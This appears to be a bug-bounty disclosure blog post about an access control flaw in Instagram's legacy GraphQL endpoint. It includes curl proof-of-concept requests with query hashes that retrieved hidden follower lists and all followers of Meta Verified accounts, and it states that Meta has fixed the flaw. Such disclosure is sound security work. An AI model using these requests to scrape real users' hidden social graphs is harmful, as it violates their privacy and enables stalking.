Back

Vulnerability in Instagram Followers & Following | Legacy GraphQL Endpoint Leaks Hidden Lists and Meta Verified

During a recent security audit of Instagram’s web API surface, I identified a critical Broken Access Control flaw (BOLA) in Instagram’s legacy GraphQL query engine.

By leveraging an unmonitored legacy endpoint (/graphql/query/) that still relies on static query_hash identifiers, I was able to completely bypass two major privacy and platform restrictions:

  • “Hide Followers & Following List” Privacy Feature: Any authenticated user could retrieve the full Followers & Following list of target accounts that explicitly enabled this privacy setting.
  • Meta Verified Follower Visibility Limit: While official endpoints restrict follower scrolling for Meta Verified accounts to the first ~50 followers, this legacy endpoint allows complete enumeration of all followers.

Technical Overview & Architecture Flow

Instagram enforces server-side privacy checks on its modern REST endpoints (/api/v1/friendships/) and document-id based GraphQL endpoints (/api/graphql). However, the legacy query_hash endpoint path was left unprotected, failing to validate whether the target user’s followers and following lists were hidden or restricted.

client side Target Request authenticated session
Privacy Controls Check
security enforcement Meta Backend Resolvers
REST API v1 BLOCKED
|
/api/graphql BLOCKED
|
/graphql/query/ DATA LEAKED
Legacy query_hash path skips privacy check — leaks hidden follower & following graph data

Endpoint Response Comparison

Access Method Target: @target_hidden(Hidden Followers/Following) Target: @target_verified (Meta Verified)
Instagram Official App “Followers/Following are hidden” Shows only first ~50 followers
REST API (/api/v1/friendships/) Blocked (Empty payload + notice) Capped (~50 followers returned)
Legacy GraphQL (/graphql/query/) LEAKED (Full list) LEAKED (All followers)

Proof of Concept (PoC)

Target Endpoint & Hashes:

  • Base URL: https://www.instagram.com/graphql/query/
  • Followers Query Hash: 37479f2b8209594dde7facb0d904896a
  • Following Query Hash: d04edd2229b57d9a3754f00d82f6f342

Scenario 1: Bypassing “Hide Followers & Following” Privacy Settings

1. Verifying Protection on REST API (Blocked):

# Followers REST Endpoint (Blocked)
curl -s 'https://www.instagram.com/api/v1/friendships/TARGET_USER_ID/followers/' \
  -H 'cookie: sessionid=<ATTACKER_SESSION>' \
  -H 'x-csrftoken: <TOKEN>' \
  -H 'x-requested-with: XMLHttpRequest'

# Following REST Endpoint (Blocked)
curl -s 'https://www.instagram.com/api/v1/friendships/TARGET_USER_ID/following/' \
  -H 'cookie: sessionid=<ATTACKER_SESSION>' \
  -H 'x-csrftoken: <TOKEN>' \
  -H 'x-requested-with: XMLHttpRequest'

Response (Blocked as expected):

{
  "users": [],
  "big_list": false,
  "status": "ok",
  "special_empty_state": {
    "title": "Followers are hidden",
    "body": "target_hidden has chosen to hide their followers."
  }
}

2. Bypassing Restrictions via Legacy GraphQL (Leaked):

Querying Followers list:

curl -s 'https://www.instagram.com/graphql/query/?query_hash=37479f2b8209594dde7facb0d904896a&variables=%7B%22id%22%3A%22TARGET_USER_ID%22%2C%22after%22%3A%22%22%2C%22first%22%3A50%7D' \
  -H 'cookie: sessionid=<ATTACKER_SESSION>; csrftoken=<TOKEN>; ds_user_id=<ATTACKER_ID>;' \
  -H 'x-csrftoken: <TOKEN>' \
  -H 'x-requested-with: XMLHttpRequest'

Querying Following list:

curl -s 'https://www.instagram.com/graphql/query/?query_hash=d04edd2229b57d9a3754f00d82f6f342&variables=%7B%22id%22%3A%22TARGET_USER_ID%22%2C%22after%22%3A%22%22%2C%22first%22%3A50%7D' \
  -H 'cookie: sessionid=<ATTACKER_SESSION>; csrftoken=<TOKEN>; ds_user_id=<ATTACKER_ID>;' \
  -H 'x-csrftoken: <TOKEN>' \
  -H 'x-requested-with: XMLHttpRequest'

Leaked Payload Examples (Followers & Following):

{
  "data": {
    "user": {
      "edge_followed_by": {
        "count": 2394,
        "edges": [
          {
            "node": {
              "id": "10000000001",
              "username": "leaked_follower_1",
              "full_name": "Redacted Follower User",
              "profile_pic_url": "https://...",
              "followed_by_viewer": false,
              "is_verified": false
            }
          }
        ],
        "page_info": {
          "has_next_page": true,
          "end_cursor": "QVFEcHY0aDV..."
        }
      },
      "edge_follow": {
        "count": 512,
        "edges": [
          {
            "node": {
              "id": "10000000002",
              "username": "leaked_following_1",
              "full_name": "Redacted Following User",
              "profile_pic_url": "https://...",
              "follows_viewer": false,
              "is_verified": false
            }
          }
        ],
        "page_info": {
          "has_next_page": true,
          "end_cursor": "QVFEcHY0aDV..."
        }
      }
    }
  }
}

Scenario 2: Enumerate All Followers of Meta Verified Accounts

Meta Verified accounts limit public follower scrolling on standard endpoints to ~50 accounts to prevent large-scale web scraping. However, testing on a verified target demonstrated that cursor-based pagination via /graphql/query/ returned full valid objects without capping, allowing complete enumeration beyond the 50-follower limit.

GET /graphql/query/?query_hash=37479f2b8209594dde7facb0d904896a&variables={"id":"VERIFIED_TARGET_ID","after":"","first":50}
Status: 200 OK
Response: Returned 49 users, total count = ALL_FOLLOWERS, has_next_page = True

Leaked Node Samples:
  • @sample_user_1 [ID: 70000000001]
  • @sample_user_2 [ID: 70000000002]
  • @sample_user_3 [ID: 70000000003]

Resolution and Fix

After discovering the vulnerability, I reported it through Meta’s Bug Bounty Program, providing detailed reproduction steps and proof of concept. Meta acknowledged the issue and deployed a fix to properly enforce privacy controls across legacy query paths.

Subscribe
Notify of
guest
0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments